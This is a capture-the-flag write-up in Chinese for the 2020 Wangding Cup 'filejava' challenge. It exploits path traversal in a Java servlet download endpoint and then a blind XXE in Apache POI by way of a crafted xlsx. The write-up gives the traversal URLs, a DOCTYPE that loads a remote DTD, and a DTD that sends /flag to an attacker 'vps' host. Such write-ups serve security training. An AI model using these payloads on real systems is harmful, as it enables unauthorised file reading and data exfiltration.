2020网鼎杯青龙组filejava
打开题目,发现一个上传点UploadServlet,随意上传一个1.txt,返回了路径/DownloadServlet?filename=1c91fcc1-ea9e-4070-94e9-68d6064516bc_1.txt

经过测试发现存在目录穿越,可以进行任意文件读取,并且在上传文件名为1.txt/../../../../../../
的文件时,会报错并且返回web项目的绝对路径/usr/local/tomcat/webapps/ROOT/WEB-INF/


读取一下web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>DownloadServlet</servlet-name> <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>DownloadServlet</servlet-name> <url-pattern>/DownloadServlet</url-pattern> </servlet-mapping>
<servlet> <servlet-name>ListFileServlet</servlet-name> <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>ListFileServlet</servlet-name> <url-pattern>/ListFileServlet</url-pattern> </servlet-mapping>
<servlet> <servlet-name>UploadServlet</servlet-name> <servlet-class>cn.abc.servlet.UploadServlet</servlet-class> </servlet>
<servlet-mapping> <servlet-name>UploadServlet</servlet-name> <url-pattern>/UploadServlet</url-pattern> </servlet-mapping> </web-app>
|
根据配置内容看一下相关Class文件
/DownloadServlet?filename=../../../../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
然后用jd-gui反编译看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import cn.abc.servlet.DownloadServlet; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.URLEncoder; import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
public class DownloadServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename"); fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8"); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag")) { request.setAttribute("message", "禁止读取"); request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response); return; } String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload"); String path = findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File(path + "/" + fileName); if (!file.exists()) { request.setAttribute("message", "您要下载的资源已被删除!"); request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response); return; } String realname = fileName.substring(fileName.indexOf("_") + 1); response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8")); FileInputStream in = new FileInputStream(path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte[] buffer = new byte[1024]; int len = 0; while ((len = in.read(buffer)) > 0) out.write(buffer, 0, len); in.close(); out.close(); } public String findFileSavePathByFileName(String filename, String saveRootPath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 0xF; int dir2 = (hashCode & 0xF0) >> 4; String dir = saveRootPath + "/" + dir1 + "/" + dir2; File file = new File(dir); if (!file.exists()) file.mkdirs(); return dir; } }
|
这里其实就是一个文件下载的功能,过滤掉了flag,如果出现了flag,则会返回禁止读取。


接下来读取一下UploadServlet.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| import cn.abc.servlet.UploadServlet; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.List; import java.util.UUID; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.FileItemFactory; import org.apache.commons.fileupload.FileUploadException; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.ss.usermodel.WorkbookFactory;
public class UploadServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String savePath = getServletContext().getRealPath("/WEB-INF/upload"); String tempPath = getServletContext().getRealPath("/WEB-INF/temp"); File tempFile = new File(tempPath); if (!tempFile.exists()) tempFile.mkdir(); String message = ""; try { DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setSizeThreshold(102400); factory.setRepository(tempFile); ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); upload.setHeaderEncoding("UTF-8"); upload.setFileSizeMax(1048576L); upload.setSizeMax(10485760L); if (!ServletFileUpload.isMultipartContent(request)) return; List<FileItem> list = upload.parseRequest(request); for (FileItem fileItem : list) { if (fileItem.isFormField()) { String name = fileItem.getFieldName(); String str = fileItem.getString("UTF-8"); continue; } String filename = fileItem.getName(); if (filename == null || filename.trim().equals("")) continue; String fileExtName = filename.substring(filename.lastIndexOf(".") + 1); InputStream in = fileItem.getInputStream(); if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong"); e.printStackTrace(); } String saveFilename = makeFileName(filename); request.setAttribute("saveFilename", saveFilename); request.setAttribute("filename", filename); String realSavePath = makePath(saveFilename, savePath); FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename); byte[] buffer = new byte[1024]; int len = 0; while ((len = in.read(buffer)) > 0) out.write(buffer, 0, len); in.close(); out.close(); message = "文件上传成功!"; } } catch (FileUploadException e) { e.printStackTrace(); } request.setAttribute("message", message); request.getRequestDispatcher("/ListFileServlet").forward((ServletRequest)request, (ServletResponse)response); } private String makeFileName(String filename) { return UUID.randomUUID().toString() + "_" + filename; } private String makePath(String filename, String savePath) { int hashCode = filename.hashCode(); int dir1 = hashCode & 0xF; int dir2 = (hashCode & 0xF0) >> 4; String dir = savePath + "/" + dir1 + "/" + dir2; File file = new File(dir); if (!file.exists()) file.mkdirs(); return dir; } }
|
这里,检测上传的文件名,如果以excel-
开头,并且以xlsx
结尾的话,即可触发excel的CVE(Bind XXE)

新建一个excel-le1a.xlsx
,用7.zip打开文件,并将[Content_Types].xml
的第一行内容添加为
1
| <!DOCTYPE exp [<!ENTITY % remote SYSTEM 'http://vps/le1a.dtd'>%remote;]><exp/>
|
然后在vps上新建一个le1a.dtd
1 2 3 4
| <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps:port/?q=%file;'>"> %int; %send;
|
接着监听自己的服务器的端口,然后上传excel文件

拿到flag:
1
| flag{4573811c-bde4-4a1e-8617-1e4e29aec4c9}
|